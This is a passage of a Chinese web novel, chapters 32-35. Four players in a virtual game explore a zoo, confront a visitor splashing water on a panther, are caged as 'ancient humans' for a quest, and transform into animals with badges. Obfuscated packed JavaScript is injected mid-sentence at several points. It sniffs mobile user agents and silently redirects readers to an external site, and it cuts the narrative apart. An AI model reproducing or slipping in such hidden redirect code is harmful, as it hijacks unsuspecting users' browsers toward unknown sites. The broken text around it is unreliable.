“这一会功夫，就拉了好多便便啊。”罗小星也是目瞪口呆，“是我们喂多了吗？” “可能大象的体积大，所以排出的就比较多吧……”我只能强行解释。 饲养员们的面孔个个晒得黝黑，看他们挥动铁锹的动作，就能感觉到他们的手臂很有力量，想来早已习惯了这个工作。清理的时候饲养员们面带笑容，彼此间有说有笑。我自问换我做他们这份工作，未必能像他们做得这么好。 虽然我对大象天生有好感，总觉得他们看起来很好说话很温柔的样子，但是我并不了解大象的习性。一名游客，即便是再怎么喜欢动物，让他天天去做为大象铲屎、冲凉、喂食的工作，他恐怕也很难不厌烦。我觉得这不仅仅是工资的问题，可能要想成为一位尽职的饲养员，总是少不了对动物的爱心吧。 “游客们，大象们要休息啦。请有序离开大象馆。欢迎您继续探索美好的动物世界。”悦耳的女声响起，动物园里的工作人员提醒我们该离开了，虽然还喂得意犹未尽，但也要乖乖按照指引离场。 沿着大象馆的出口右拐，爬一段台阶就到了川金丝猴的领地。猴子们有自己的室内房间，房间内只有两面墙，另外两面有不同的安排，一面是玻璃，为了方便游客进入金丝猴馆内观赏，一面直接开放连接供他们玩耍的户外区域。 远远地我们就看到金丝猴顺着园内为他们特意搭建的金属栏杆荡来荡去，只有亲眼见到这些孙悟空的徒子徒孙们，才能真切地感受到他们有多好动，浑身使不完的劲儿，四肢的力量感和灵活性令作为人类的我好生羡慕，个个都是是做引体向上的天选之子，最重要的是人家一点多余的力气不用使，所有动作都非常天然。我要是能学到点皮毛，身手一定足够矫健。 观赏完院子之后，我们又绕进了金丝猴馆的内部，从馆内的角度来看，所有供金丝猴们休憩睡觉的房间一个个并排串联起来，我们在走廊内，细细观察。走廊一侧的墙面挂着科普展板，另一侧是观赏玻璃，玻璃的表面大多有一些模糊，想来都是因为金丝猴玩累回窝的时候也调皮地触摸玻璃看着游客的缘故。走了几步，我们还看到了专为猴儿们准备食物的备餐室。 “这伙食可真是不错啊，比我吃得都好！” 我非常同意罗小星的观点，备餐室干干净净的，我们透过玻璃可以清晰地看到房间里陈列的东西，除了水池、料理台，冰箱等常见的厨房陈列以外，猴儿们的美餐已经准备就绪，蔬菜瓜果都被清洗干净，叶子上还残留着水滴，种类之丰富，食材之新鲜，罗小星所言夸没夸张我不知道，这最起码是吃得比我好多了。 出了金丝猴馆，我和罗小星还在讨论孙悟空的原型到底是不是金丝猴。刚探讨没两句，罗小星一拍手，“思婷姐，孙悟空不是石猴吗？” 我一想，倒也是，艺术高于现实嘛。 罗小星继续在前方带路，我们来到了猛兽区域，在动物园里基本上很难看到猛兽发威的样子，反正我是没见到过。细想一下，原因也好理解，一个是人家动物天天吃喝无忧，没有了像同类那样在大自然里拼死拼活觅食的必要，也不用面对天敌的威胁，自然也就失去了诞生威猛身姿的条件，再者就是，猛兽们真的威猛起来，游客们也受不了。 人类可是好不容易学会利用武器保护自己，辛辛苦苦建造出来属于自己的安全家园，把原始时期来自肉食动物的威胁排除在人类聚居区以外。 建造动物园的前提，就是不能被危险的动物伤害，不然就等于在动物园里埋放了定时炸弹，不仅增加了园内工作人员的饲养难度，还存在让游客们被凶猛动物误伤的风险。 继续前行，我们很快站在黑豹的圈养区前，可我们愣是没看见黑豹栖息的身影。 “奇了怪呀，这是躲藏到哪里去了呢？”圈养区内有水泥模拟出来的山洞，因这山洞的遮挡，我们的视野并非一览无遗，罗小星走来走去调整角度，一会儿蹲一会儿站的，在附近不停搜寻。 站在护栏前与我们正对的地方还有两位观赏黑豹的游客，是对小情侣，男孩手里拿着矿泉水瓶子，瓶子里还有半瓶水，他一边举着手往圈养区内指指点点，一边跟身旁的人说：“你看，躲在那呢！” 我们快走几步绕到他们所站的位置，终于发现了黑豹，黑豹背朝我们，正躺在地上懒洋洋地晒太阳呢，要不是它的尾巴偶尔会动一下，我还以为它睡着了。刚才我看了看立在围栏附近的科普牌，在动物名字下方简单标示着动物习性。黑豹属于夜行动物，可能白天不是他的活动时间，要不就是吃饱了想休息一会儿？ 正在我琢磨的当口，我们身旁的情侣倒是不闲着。 “哎，动一动啊！怎么就知道躺着！大懒虫，起来！”男孩一边说着，一边把瓶子里的半瓶水使劲儿地往圈养区里面的黑豹身上泼去。 这个男孩的力气还真不小，真有几滴水被他泼到黑豹的身上，“快动啊！一滩烂泥！”男孩不耐烦起来，又往里泼水。 我也不知道怎么回事，一让我看到了他这个泼水的行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712086|189266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为，观察到他说话时那不以为意、指点江山的神情，再听到他那种带着轻蔑的、高高在上的语气，我这气儿就不打一处来。要不是圈养区内有一道一道保护你的金属围栏，让黑豹和你之间有充足的安全距离，要不是这些黑豹每天被饲养员们喂得饱饱的，已经近乎忘却了自己的生存本领，你以为今天能轮到你站在这里，朝这种放在野生环境能一口咬掉你的头的猛兽一遍遍地泼水吗？！ 我深吸一口气，想着尽量用友善的语言阻止这个男孩的行为。不能和他一样不懂事，我告诉自己。 “你干嘛呐！看没看到这旁边的牌子上写着不允许朝动物扔东西！”罗小星嗷的一嗓子。 男孩僵住了，罗小星怒气冲冲地拿手指着牌子，示意男孩一个字一个字地看。 “水而已，又不是吃的。”男孩打量了一眼罗小星魁梧的身材后，笑着说，虽然他的笑看起来有几分尴尬，比哭还难看。 “那也不行。你出门遇到下雨难道不打伞吗？水也会淋湿动物啊。” “算了算了，别说了，本来就是我们不对。”他身旁的女孩拽着他的袖子劝道，“咱们快走吧。” 男孩撇了撇嘴，一脸不情愿地被女孩拽走。 “神经病，多管闲事，装什么呢。”他一边走一边嘟囔，那声音虽然不大但足够我们几个人听见。 “你才神经病，欺负笼子里的动物了不起啊，不识字就多读书！动物园的环境就是被你这种人污染的！”罗小星毫不示弱地反击回去。 我走到罗小星的身边，拍了拍他的肩膀，“好了好了，注意素质，不要打起来。”我顿了顿，“不过我觉得你做得很对，说了我想说的话。” “你这还挺有公德心的啊罗小星。”唯月调侃道。 “气死我了……”罗小星还是有点气愤，“我不是没忍过啊，我给他机会了，第一把我没来得及阻止他，谁能想到他泼了一次还要再来，我要是不拦住他他是打算把瓶子里的水全都泼出去！” “你说了他，他心里不爽，到别的地方还是会把气撒到动物的头上。” “什嘛？！他会这么干吗？”罗小星皱起眉头想了想，“难道我拦他我还拦错了？那我也管不了那么多了，我就是要阻止他，至少不能让他在我眼皮子底下做这种事。” 唯月摊了摊手，不再言语。他转头看着黑豹，黑豹还是在原处一动不动。 “它的肚子上是赘肉吗？为什么胖胖的，难道是怀孕了？”罗小星也望着黑豹，疑惑地问道。 ”还真是。也许是缺乏锻炼所致吧，动物园的空间再怎么说都是有限的。”我不知道怎么回答他的疑问。 “同样是呆在动物园里，做一只大熊猫总要比一只黑豹风光。”罗小星突然没头没脑地来了句。 “诶，你这不咋灵光的脑子总算是发现了关键的地方。”唯月搭腔。 “至少没有人敢朝大熊猫泼水，大熊猫拥有的能活动的地方可比黑豹大多了。”罗小星继续感叹。 “我感觉我和你说的压根就不是一回事……”唯月扶额。 32. 第 32 章 “唯月，你有什么好办法吗？”罗小星突然发问。 “什么办法？”唯月一愣，很快又反应过来，“哦，你该不会问的还是那个泼水的事儿吧？” “对啊，你说我做得不对，那你有什么更好的办法，我只想所有人都对动物好一点。” “别纠结了，没什么用，我也没说你做错了。更好的办法，你自己想吧。动动你那笨笨的脑子，总有一天能想出来。”唯月说完，转身朝下一个地方前进。 “什么嘛，又趁机说我笨。” 因为这次发生的小插曲，罗小星之后总有点心不在焉，来到猛禽区域的时候，圈养的猛禽情况和黑豹也差不多，躲藏在树枝上，一动也不动，按照科普介绍来说，猛禽伸展双翼的时候臂展极长，可惜这样的场面我们这次在动物园里并没有看到，只能靠想象了。 罗小星看着笼子里的鸟，笼外的他有点无精打采的。 “没什么好看的了。” “往前走走，那边怎么一个人都没有。笼子里没关着动物吗？”唯月看着罗小星，“导游你快给我们指指道儿。” “好吧。”罗小星重又打起精神来，“让本导游我前去看看，让我想想哈，猛禽区再往前边山坡走走，应该是灵长类动物吧。” 等到我们来到唯月所说的那处围栏附近时，惊讶地发现这个笼子的门竟然是开的。 “夭寿啊，大猩猩跑出来啦？”罗小星难以置信地看着没上锁的门，“这里头怎么什么动物都没有？难道关的不是大猩猩？” “确实不是，你看这牌子上写的是什么。”唯月抬手示意罗小星来到他所在的位置看一看。 我也跟着好奇地走过去。 “古——人——类！？”我和罗小星两个人一个字一个字地念道，念完简直不敢相信自己的耳朵。 “什么是古人类？难道指的是周口店人？” “要不就是山顶洞人？哦对对，我想起来书里讲过。”罗小星积极地回答我的猜测。 我看了镜舟一眼，“你觉得呢，镜舟？” “我和你们一样，没有头绪。”镜舟答道。 “瞎琢磨没用，反正门也没锁，你倒不如亲自去看看。”唯月走到门边，罗小星马上追过去。 “这不行吧，还是赶紧告诉动物园里的工作人员。” 罗小星双手去抓住门把手，想要把半开的门推回原位。 在他的双手接触到铁制把手的一瞬间，地上浮现出发亮的脚印，从门口一直延伸到笼的中央，脚印一闪一闪的。 “啊！什么情况？”罗小星既惊讶又兴奋，马上又将手从门上移开，可是即使他不触碰到门，这脚印也没有消失。 “难道这脚印出现的意思是？”罗小星瞅着我们。 “让我们走进去！”我俩异口同声地说。 “那就不妨试试喽。”唯月面无波澜。 我和罗小星一惊一乍地踩着脚印往里走，镜舟还是惯例在我身旁，唯月断后。绿萝一见到笼子就又钻回了我的背包里。 当我们四个人都走进笼子里的时候，脚印消失，铁门自动关闭。我们终于迎来了可喜可贺的系统提示：“任务已接受。”与此同时，屏幕上方出现我们四个人的体力条，先是在我们的视野里放大，等我们触摸确认后就可以隐藏到视线边缘。 “什么嘛，是让我们呆在笼子里体验动物的生活吗？这个任务简单得很嘛。不过这个古早味儿十足的体力条是怎么回事，之前就算是在战斗状态也没有冒出来啊，这怎么和平时游戏里的设定不一样，我们现在也没有进入战斗啊，查看自己的体力做什么。” “体力在随着时间的流逝一点点减少。”镜舟说到。 “啊？”罗小星后退一步，两只手在身体前不停扒拉，应该是重又把被隐藏的体力条调出来，“别吓我啊镜舟大哥，咱们又没有和人打架，怎么会减少呢，让我放大仔细看一看数值。” “还真是这样的。完了完了，咱们这是掉陷阱里了吗？” “你每天吃完饭都会饿，这不是一样的道理么。难道世界上有谁只吃一顿饭，就可以保证自己永远不用再吃了吗？你说是不是啊，镜舟？”唯月找到笼子里的塑料凳，信步走过去，坐下。 镜舟仅仅是看了唯月一眼，没有应声。 “可是我们是在游戏里啊！？再说我可是每次都吃过晚饭才上线的诶……”罗小星虽然还在惊诧中，但是已经有些接受了唯月的解释，“难道我们要像园子里的动物那样，等待别人的投喂吗？” “不然呢，等一会儿不就知道答案了吗。要不你就使出你的神力，看能不能把铁门给拽开。这样我们也就都跟着你沾光了。” 罗小星还真的走到铁门边，伸直胳膊紧抓把手试了试，“没用，这门已经焊死了都，刚才根本没看见一个来关门的人影，再加上地上出现的那些发光脚印，我觉得唯月你的判断是正确的，我也决定静观其变了。” 一旦下定决心，我们也就不再那么焦虑了。我和罗小星先是在笼子里溜达，户外的空间还挺大的，和大熊猫的比起来自然要差上很多，但是比黑豹的可要宽敞，除了塑料凳子以外，还有滑梯和秋千，两个大健身球，一个红的，一个绿的，还有三个呼啦圈，角落里还堆放着彩色大号积木…… 其实这里和金丝猴的住处很像，我们是进入的户外区域，这个区域一共有两扇门，一扇是在我们刚才走进来的地方，另一扇通往我们的屋子。屋子里有小木床，木床上还铺着干草堆，明显是供我们睡觉的，如果天气不好刮风下雨了，我们还可以回到屋子里休息。只不过屋子里有一整面的玻璃，虽然目前玻璃外还没有人，但显然和猴馆的设计一样，这面玻璃是方便室内的游客穿过走廊的时候观察我们这些“古人类”的。 当我和罗小星将我们被限制住的活动范围探查了个遍之后，我想起了镜舟说的话，体力值在随着时间的流逝而缓慢下降。这个时候我再次查看体力条，这个细节再次得到了验证， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“你这人可真够健忘的，在旋转餐厅里的时候你可不是这么说的，当时不是很有兴致的吗？”唯月说完继续一本正经地啃苹果。 “是吗？……我好像确实说过那话。一定都是因为吃饭的环境不一样……毕竟那里是高档餐厅。” “吃饭无非就是为了填饱肚子，在哪里吃都是一样的。这个基本的作用是不会改变的。”唯月是最快一个吃完的，他把饭盒收拾好，放到了墙上的木板旁边。 “你这次倒是吃得很快嘛。”罗小星有些不耐烦，机械地做着吃饭的动作，故意把自己装成木偶一样，抬起拿勺子的手，张嘴，喂自己饭，咀嚼，然后再用勺子盛饭，如此循环。 “体力已经恢复了。”镜舟第二个吃完，他走到罗小星身边告诉他，“食物是有帮助的。” “哦哦……”罗小星又恢复了正常的动作，专注于吃掉眼前的东西。 补充完体力之后，罗小星开始感到无聊，于是跑出去玩健身球，一个人玩没意思，又把我叫了出去。 “体力条存在的意义就是要让我们感觉到饿吗？”他坐在健身球上摇晃。 “应该是吧，以一种可视化的方式提醒。” 33. 第 33 章 在第二次放饭之前，罗小星已经把所有提供给古人类的玩具玩了个遍。 “我从来没有一下子坐这么多次滑梯，小的时候最喜欢荡秋千了，现在我看见秋千有点脑壳疼。” 有人在我们未注意的时候，把我们放在木板附近的空饭盒拿走，替换成新的盒饭。 为了补充体力，我们继续在屋子里食无味，有游客从玻璃外走过，这情景让我想起我们之前在玻璃外看金丝猴时的场景，不知道他们此时的心情是否与当初的我们完全相同。 他们有的靠近玻璃，想使劲看看我们长什么样子，起初，罗小星试图和他们交流，他大声说话，比着手势，但是外面的人无动于衷，不仅是听不见的问题，而更像是完全看不懂。有的时候罗小星做的动作姿态夸张了一些，外面的游客还会大笑，他们先是和身边的人窃窃私语，然后举起手机朝我们拍照。 我们就这样一边与他们隔着玻璃面对面，一边吃着饭。 我在想这种生活倒也不错，至少比上班轻松，还有好吃的。唯一的问题是活动空间确实不大，而且没有手机和网络也确实挺无聊的。不然折中一下，我上班上累了，就跑到动物园里歇两天，既然游客喜欢看我们，那为了鼓励我好好表现，动物园最好再付我点工资……我摇了摇头，不，这不又成上班了吗？ “作为供观赏的古人类，我们是不是不该穿着衣服，大猩猩可是不穿衣服的啊。”连唯月也陷入了奇思妙想中。 “这里还没有厕所呢，我们可不想看见你随地大小便。”罗小星面无表情道。 “哈哈哈～”唯月扑哧笑了，“罗小星你真粗俗。” 任务结束得猝不及防。罗小星吃完饭正在户外区域百无聊赖地沿着笼子的边缘转圈的时候，系统发出了提示，铁门自动打开。 我们总共只在这里吃了两顿饭，一个完整的昼夜都没有度过，任务就结束了。 “其实也没有多长时间，怎么会让人感觉那么漫长呢……”罗小星率先跑了出去，他站在笼子外，望着自己曾经呆过的地方，总结道。 “放心吧，笼子会跟着人走的。”唯月伸了个懒腰，“导游，第三个区域的任务这么轻松就完成了，下一步怎么安排？” “让我想想动物园出口在哪里哈，别急别急。可是我们还没有找到第三区域的副本呢？就这样离开吗？” “走一步看一步吧。”我劝罗小星。 “体力条并没有消失。”镜舟提醒我们。 罗小星确认了一下，一脸愕然：“任务都已经完成了呀，我们也从铁门出来了，没道理再看到它呀，还好，数值基本上是满的。难道是让我们在动物园里买吃的东西吗？” 我们四人走在山间路边的人行木制栈道上，周围一个人也没有。 一辆小电动三轮车静悄悄地从我们身后的柏油路面上出现，走走停停，清理沿途遇到的垃圾桶，小车后面堆放着三个已被装满的黑色大塑料袋。 “有了有了，动物园里的人肯定最清楚。”罗小星趁着车上工作人员下车清理的工夫，几步追过去问：“大叔您好，请问从这里怎么走离出口最近啊？” 穿着墨绿色工作服的大叔热情地回答：“出口啊，有两个，你们要去哪个呀？” “我们是从山脚下走到这里来的，我们进来的入口处有动物园的大招牌。” “哦，从那里就可以出去咯，你们原路下山就行了。不过你们是不是只看过圈养区，没有看过散养区啊？山的那头有散养区，但是虎山最近正在修缮期，看不了。其他能观赏的动物还有很多呢，要不要去看看啊，从右边这条路出去，很快就到山顶了。越过那条水泥路，按照观赏路线一直走就能走到山那边的另一个出口了，下坡的路走起来不累的。” “哦好的好的，谢谢您！” “不客气，你们都走到这里了，去散养区已经很近了。那里值得一看。”大叔说完，低头把垃圾桶里的垃圾袋一把提起来，系好，放到三轮车的车厢上，“再见！祝你们旅途愉快！”大叔和我们告别后，利落地驾驶着三轮车驶离了。 “再见！”我们目送着他离去的背影。 “文明是最美的风景。”罗小星念着三轮车后面遮阳棚上粘贴的宣传语，“怎么办呢，我们要不要去山的另一面看一看呢？” 其实游戏里ＮＰＣ的指引已经很明显了，大叔话里话外，就是在鼓动我们继续探索啊。罗小星之所以犹豫，可能还是考虑到体力条的问题，因为谁也不知道体力消耗殆尽会是什么结果，要不就是无法行动，差一点的话，可能就宣布游戏角色死亡，直接退出特典了。 “罗小星，在你的心里，答案不是早就已经确定了吗？平时总是嗷嗷着要赢要赢，这么明显的提示面前怎么还怀疑起来了。副本十有八九就在那里，来都来了，当然要去。”唯月率先踏出一步，往我们右手边的那条路走去。 “唯月，这可是你说的哦，我是没什么意见的啦。我主要是有点担心没东西吃，不过我们一定可以很快就到达出口的对吧！”罗小星开开心心地跟在唯月身后。 我笑了笑，“我们也跟上吧，镜舟。” 其实自从来到动物园以后，我们虽然还有一些场馆没有去，但是所去的几个地方也算是热门场所，几乎构成了从山脚到山顶的最短路线。我们一行人的心态和爬山的人很相似，接近山顶的时候总想去顶峰看看，愿意错过这个风景打道回府的人确实不多。 按照大叔的指引，我们很快就看到了那片水泥路，这段路的两侧是被截断的山体，山体的边缘都被网状的隔离砖挡住，隔离砖围住的泥土中有新的草木生发。如果没有这两侧的阻挡，遇到下大雨等极端天气的时候山体两侧恐怕会有坍塌的风险。 相比园区内我们之前走过的道路而言，这段水泥路就像是半成品，虽然路面平整，但是能看到水泥之间的接缝，脚下的路面明显需要进一步整修，道路的两侧也最好再进行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“还有这种东西？我从来没有看过诶……”罗小星好奇地凑过来，“但我还是不明白，这个有什么用呢？” 我把一枚稀有度很高的朱鹮徽章递给罗小星，“你拿着就知道了。” “好看是好看的啦，这不就是一只漂亮的鸟吗？”罗小星边说边双手捧着徽章拿到手里看了看，“怎么，这竟然……原来是可以使用的啊！” 说话间纪念徽章发出彩虹般的光芒，罗小星整个人瞬间和光芒化为了一体。 连人带徽章顷刻间变成了一只优雅的红颊白羽的鸟儿，鸟儿挥动着翅膀在我们的身边鸣叫着，盘旋了几下之后，舒展平稳地飞向蓝蓝的天空，在天空中依旧保持着优雅的飞翔姿态，我眼见着它尽情展翅，过了好一会儿，鸟儿才愿意重新飞向我们。 彩虹的光芒再次出现，罗小星双手捧着徽章，眼睛迸发出难以置信的光芒，比那彩虹还要耀眼。 “我靠！我靠！……思婷姐，这也太神了！” 34. 第 34 章 “我还有很多……你要是喜欢，都拿去试一试吧。”我当然很高兴自己拥有的物品能够带给罗小星这么大的喜悦。 “啊啊！谢谢思婷姐姐！镜舟大哥呢，唯月呢？你们也有徽章的吗？” 唯月耸耸肩，“没有收集过这种徽章，爱莫能助。” “我也有一些，你都拿去用吧。”镜舟回答得很爽快。 “啊啊啊，我爱你们！” 就这样，在罗小星叽叽喳喳的欢快惊叹声和感谢声中，我和伙伴们充实的一次相遇又结束了。 可能是对我们四个人作为古人类而待在笼子里被游客观赏的回报，又或者是对我们打开新地图行为的奖赏，我们借由这些早已获得过的活动徽章，收获了全新的游戏体验。 还有一种解释，就是眼前这所有的一切，都是一个连锁的过程，你只有完成上一步，才能解锁下一步，就像是一个接着一个地完成四象石的任务一样，路要一步步地走。当然，我们不仅仅是为了完成任务，如果视线只专注于结果，我恐怕很难坚持到最后，参与这个任务的过程本身就是一件蛮享受的事情。 纪念徽章是游戏设计者们精心为玩家们准备的礼物，我自然是很喜欢，但我并不代表每一个人的喜好。虽然通常来说徽章会在很大程度上勾起玩家们对参与活动的兴趣，但是也并非每个人都把获得它们定为目标。比如，唯月和罗小星对此就不是很感冒。 果然，每个人游戏的目的不一定是相同的，追求的东西自然也不会一样。 我只是一直抱持着一种朴素的信念：游戏不会亏待我，她会给我的付出以回报。我的希望永远都不会落后，我的努力从来都能被看见。 这就是我喜欢活在梦田这个世界里的原因，更重要的是，现在的我，还有了这些可爱的队友。和他们在一起，我已经忘了什么是孤单的滋味，每天起床睁开眼睛的第一件事情就渴望见到他们，忍不住去猜测今天又会参与什么样与众不同的新奇冒险。 每一天，我都在期待中醒来，盼望着上线。 罗小星使用后的发现，提醒了我们，纪念徽章就相当于是一种动物体验卡。徽章本身的稀有度各有不同，有的动物在动物界从来就是比较耀眼的存在，这就像人一样，有的人似乎注定在人群中就是有获得更多关注的能力，永远不会泯然众人。 我们的徽章数量充足，涵盖的动物种类也很丰富，有天上飞的，地上跑的，水里游的。在观景台上，我们四个人每人都佩带了鸟类徽章，准备变身越过眼前的树林下山，罗小星动身前特意在徽章中仔细选择了一番，最终挑选了自己心仪的鸟类。 “金雕。”罗小星用手举起徽章，在阳光下欣赏起来徽章上金雕的勃发英姿，“我要变成它！一定又炫又拉风。” “这个我记得是猛禽啊，俯冲速度很快，翼展也很长。”我只记得这些信息了，“鸟类视角和平时的视角应该不会一样吧，罗小星你昨天还适应吗？” “我昨天太兴奋了，有点不记得了……让我今天再好好体验一下！”罗小星挠了挠头。 “好了，各位新新鸟类，准备变身吧！我们山脚集合啊！”罗小星率先变身飞离了观景台。 唯月看着金雕的背影，评价道：“拉风确实拉风，但是罗小星这种完全不讲究缓冲速度的飞法，上前就飞这么快，飞一会儿很难不头晕啊。” “我们也快点跟上他吧，不然会被他落得更远，连影子都看不到了。”我笑了笑，回头又提醒了下镜舟，“咱们也起飞。” 这只威武霸气的大型猛禽金雕是我们这新成立的飞行队伍的领航人，我们这三只和它比起来只能算菜鸟，根本不配和它处在一个飞行队伍里。不是不想飞一块儿，实在是追不上。 变成动物的时候，我们都不能说话，没办法交流，我们三个只能挥挥翅膀，算是给彼此发出的信号，优哉游哉地越过树林的上方。 我还有闲暇一边飞一边欣赏树林里的风景，树木茂盛，郁郁葱葱，乔木灌木应有尽有，从空中看，树林里基本没有可供下脚的路。我想着，落地了之后，这裙子是不能穿了，要赶紧把自己的服装换得严实一点，长衣长裤。记得以前看电视，穿越丛林是很有风险的一件事，什么蛇虫鼠蚁自不必说，在草木间穿行，地形崎岖，一个不小心不注意脚下，摔一跤，被树枝划伤刺伤都很有可能。 罗小星果然比我们更快到达树林边缘，他变回人形，站在那里一动不动，好似在发呆。 眼前这副情形发生在一贯活泼的罗小星身上，可真是让人觉得有点不对劲。 我赶忙走过去拍了拍他的肩膀，“怎么了罗小星，你有什么惊人的发现吗？怎么整个人都愣住了。” 我有一点担心，但是罗小星并没有回答我。 我又看了看镜舟和唯月。 “我八成是猜对了。”唯月摸了摸下巴，“他没事，应该是挂机了。” “啊，你们也都到了。”罗小星声音听起来有些疲惫，“刚才冲得有点急，俯冲的速度太快了，有种马上就要撞到地面上的感觉，摘了眼镜缓一缓……” “看来你不光是晕车呢。” “不是一回事好不好！”罗小星瞪着唯月，“都说了，没想到速度那么快嘛！第一次当鸟，好吧，是第二次，总之就是不熟练，难免会不适应的！思婷姐，你们呢，有没有头晕的感觉？” “我们速度不是很快。我还好。” 我又看了看镜舟，镜舟摇了摇头。他也没有异常的反应。 “哎，你们都没事的啊？我还以为是这个动作体验没做好测试呢，那我歇一会吧，不飞了，鸟类的徽章落地之后就都用不了了，应该是不让我们用飞行视角了，正好，我可以换个动物。” “我刚才看见林子里有的树上结着果子，眼下还是找点东西吃吧，体力也该补充了。”我提议道，顺便把衣服换了。 罗小星又开始翻找徽章，“别急别急，看我七十二变嗷，走路太慢了，我先去前方打探一下。” “那敢情好，我们更省力了，你变个爬树方便点的动物，这样找果子更快。”唯月少有地开始鼓励罗小星。 “那当然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“脖子怎么会痒？”唯月在一旁不解地问道，他走过来看了看我，又看了看镜舟。 他的话一下子提醒了我，是啊，脖子上又没有触觉传感器。 “可能是我自己瞎跟着联想吧，神经作用，神经作用……” 一时无话，我们在林子里继续前行，没过多久罗小星就回来了。 确切地说是一只胸前捧着一堆野果子的红毛大猩猩来到了我们的面前，大猩猩左摇右晃地往唯月面前站着，唯月试图躲开，大猩猩蹦蹦跳跳地偏要站在唯月的正前方，两个人就这么僵持了几回合，唯月无法，只能老老实实站着，大猩猩把捧着的野果子全部交给唯月后方才罢休。 “哈哈哈，唯月你也有今天呀！”罗小星变身回来后，捂着肚子放声大笑，“怎么样，我厉害吧，我找到的果子够咱们四个人吃饱饱的，而且我的速度也很快呦。” “行行行！你最牛。”唯月捧着水果回敬道，“人当然不能和大猩猩一般见识。” 35. 第 35 章 “略略略！好啦，我们开吃吧！”罗小星说着走到唯月身边开始帮着分果子，刚分完他便突然“哇”的一声叫起来。 “又怎么了，吓我一跳。” 罗小星却没理会唯月的抱怨，眼睛直勾勾地看着我。 “思婷姐，你的体力为什么掉得这么厉害！” 镜舟闻言马上看向我，眼神中难掩担忧，“怪我，没有注意到。” “哪能怪你呢镜舟……”我忽然有些不好意思起来，我想了想道：“我们刚才在一块儿说话呢，谁也不会一直盯着体力看的，再说，这也根本没有过去多久时间啊，怎么就会有这么明显的变化？” “对啊，没道理啊，大家之前体力掉得速度都差不多啊，虽然思婷姐你的体力总值比我们三个人都要少一点儿，但那是因为你主治疗嘛，有的技能学会了就是能加防御和攻击，或者是敏捷，可惜医生从来都是皮脆。哎哎哎，没办法。对了，思婷姐，你快点多吃些果子，看看能不能回复过来。” “我们一起吃吧。” 我吃完之后确实回复了一部分体力，但是补充的数值却少于队友。 “怎么跟中毒了一样？掉得比我们快，回得还比我们少。这样下去可怎么好？”罗小星十分不解。 “是刚才那个虫子的问题吧？”唯月看着我说。 “啊思婷姐，什么虫子？” “没什么大事，刚才你采果子的时候，有个虫子贴我后脖子上了。唯月说的不是没有可能，我也听说过森林里有的昆虫是携带病毒的，具有传染性，要不就是会吸血，这样解释的话，确实有可能导致体力出现异常。糟糕的是，我现在用不了治疗术。背包里也没有药品了。” 罗小星一拍脑门，感叹道：“哎呀，大意了，之前把药都分出去了，怎么就没想到后续有可能用得着呢？！” “别懊恼了，那时候也是我让你把药全部分出去的呀，我也确实想不到，治疗术还能被禁用了，哎计划赶不上变化快。再说了，即便有药，也不一定就好用不是？没关系的，别因为我而浪费时间了，我们还是赶紧出发离开这个林子吧。” “我背你。”镜舟走到我的身前低声对我说。 “不用不用，太夸张了……又不是走不了路。” “试一试吧思婷姐，减少运动量应该能减少体力的消耗。如果这个方法还不行的话，那就说明体力的减少只和时间挂钩，那样的话背着你走也没有用的。我之前在林子里发现有一个方向树木比较稀少，因为着急回来送吃的我就没有细看。我想，沿着那个方向前进说不定很快就能走出树林。我动作快，你们在这里等我，我再回去一趟，如果真的能走出去我马上回来。” “你一个人可以吗，这林子说不定有古怪。”我不禁有些担忧。 “不会有事情的，我很快回来。”罗小星说罢就化身为一只花豹，跃身而去。 等待的时间中，我专注地研究起自己的体力值变化来，情况确实不容乐观。罗小星已经离开了视野，没办法比较他的数值，可是唯月和镜舟就在我的身边，我确实比他俩降得要快。 “还真是，我这咔咔掉体力。”我试着用轻松的语气分享我的观察，可是内心里却忍不住焦虑起来，再这么下去，没等走出森林，没等着被野兽吃掉，我就要力竭而亡了。 “短时间内，应该不会有特别明显的变化。” “唯月，你就不用安慰我了，我察觉得到。”我两手托腮，叹了口气，“怎么办，有点心慌。” 说罢，我又站起来来回踱步，转圈，想要缓解自己焦虑的情绪。没走一会儿，我赶紧停下来，“不行不行，越走掉得越快。” 镜舟走过来，拍了拍我的肩，“休息一下吧。” 我听话地和他一起坐在身旁的一块大石头上。“完了，看来我要拖你们后腿了。”我向来不是一个能把自己心中的纠结给有效表达出来的人，有什么想不开的事情总是愿意统统放在自己的心里。 而此刻，不知道是不是和大家相处久了的缘故，我有一种安心感，觉得说出来也没什么，甚至点破之后还获得了某种轻松。一个人单打独斗固然辛苦，可是一旦参与到一个队伍中，你就会为自己的能力低下而感到抓耳挠腮的，怎么能因为我个人的原因影响他们的进度呢。实在不行，我就退出好了。 我看了看镜舟，突然没来由地有点伤感，镜舟倒没有看我，他在低头沉思，他的侧脸很好看，此刻却给人一种不好亲近的感觉。 唯月站在原地看了我们一眼，笑了，语气调侃，“还确实是有点要拖后腿的意思哦。” 